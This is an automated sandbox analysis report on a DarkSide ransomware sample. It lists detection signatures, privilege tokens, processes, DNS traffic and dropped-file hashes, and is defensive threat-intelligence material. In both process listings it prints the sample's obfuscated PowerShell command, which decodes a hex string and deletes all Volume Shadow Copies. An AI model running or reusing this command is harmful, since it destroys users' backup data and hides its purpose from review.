Malware Analysis Report

2024-10-16 03:28

Sample ID 240928-s3bb6ataqk
Target 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
SHA256 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
Tags
upx darkside credential_access discovery execution ransomware spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297

Threat Level: Known bad

The file 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297 was found to be: Known bad.

Malicious Activity Summary

upx darkside credential_access discovery execution ransomware spyware stealer

DarkSide

Renames multiple (135) files with added filename extension

Renames multiple (167) files with added filename extension

Credentials from Password Stores: Windows Credential Manager

Reads user/profile data of web browsers

Command and Scripting Interpreter: PowerShell

UPX packed file

Browser Information Discovery

System Location Discovery: System Language Discovery

Unsigned PE

Uses Volume Shadow Copy service COM API

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-28 15:38

Signatures

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-28 15:38

Reported

2024-09-28 15:41

Platform

win7-20240729-en

Max time kernel

84s

Max time network

17s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"

Signatures

DarkSide

ransomware darkside

Renames multiple (167) files with added filename extension

ransomware

Credentials from Password Stores: Windows Credential Manager

credential_access stealer

Reads user/profile data of web browsers

spyware stealer

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe

"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

N/A

Files

memory/2116-0-0x0000000000F30000-0x0000000000F40000-memory.dmp

memory/2340-5-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmp

memory/2340-6-0x000000001B650000-0x000000001B932000-memory.dmp

memory/2340-7-0x0000000001F50000-0x0000000001F58000-memory.dmp

memory/2340-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

memory/2340-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

memory/2340-10-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

C:\Users\README.26adc34e.TXT

MD5 25d0b19a0ec34a39dfa3e177866f01a3
SHA1 a3704d1f6499738ccd694bdd6008a850c6b2e453
SHA256 f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8
SHA512 ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 8e9d8e14427045ad3832a84b3c8bf48a
SHA1 4775e7a76a79101e8fb48a67d8269070e3b84fc3
SHA256 12b7fbbffb183bf089b9bcf5222a9d9fbc83df3ab62c9368381262f82d32c468
SHA512 8281a86893359edc2b5909877770afdd4db1bc85f175a3dcbc8b20da44eb98a8303a259ee5f18653c90a062444c096a011acd986a01db4aaed84c29c47880af0

memory/2116-231-0x0000000000F30000-0x0000000000F40000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-28 15:38

Reported

2024-09-28 15:41

Platform

win10v2004-20240802-en

Max time kernel

95s

Max time network

97s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"

Signatures

DarkSide

ransomware darkside

Renames multiple (135) files with added filename extension

ransomware

Credentials from Password Stores: Windows Credential Manager

credential_access stealer

Reads user/profile data of web browsers

spyware stealer

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: 36 N/A C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe

"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 69.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/4316-0-0x0000000000BD0000-0x0000000000BE0000-memory.dmp

memory/5016-1-0x00007FF95A9B3000-0x00007FF95A9B5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ahd2cemh.3rp.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5016-2-0x000001D03E6F0000-0x000001D03E712000-memory.dmp

memory/5016-12-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

memory/5016-13-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

memory/5016-14-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

memory/5016-17-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

C:\Users\README.9d01c470.TXT

MD5 25d0b19a0ec34a39dfa3e177866f01a3
SHA1 a3704d1f6499738ccd694bdd6008a850c6b2e453
SHA256 f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8
SHA512 ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d336b18e0e02e045650ac4f24c7ecaa7
SHA1 87ce962bb3aa89fc06d5eb54f1a225ae76225b1c
SHA256 87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27
SHA512 e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

memory/4316-201-0x0000000000BD0000-0x0000000000BE0000-memory.dmp

memory/4316-209-0x0000000000BD0000-0x0000000000BE0000-memory.dmp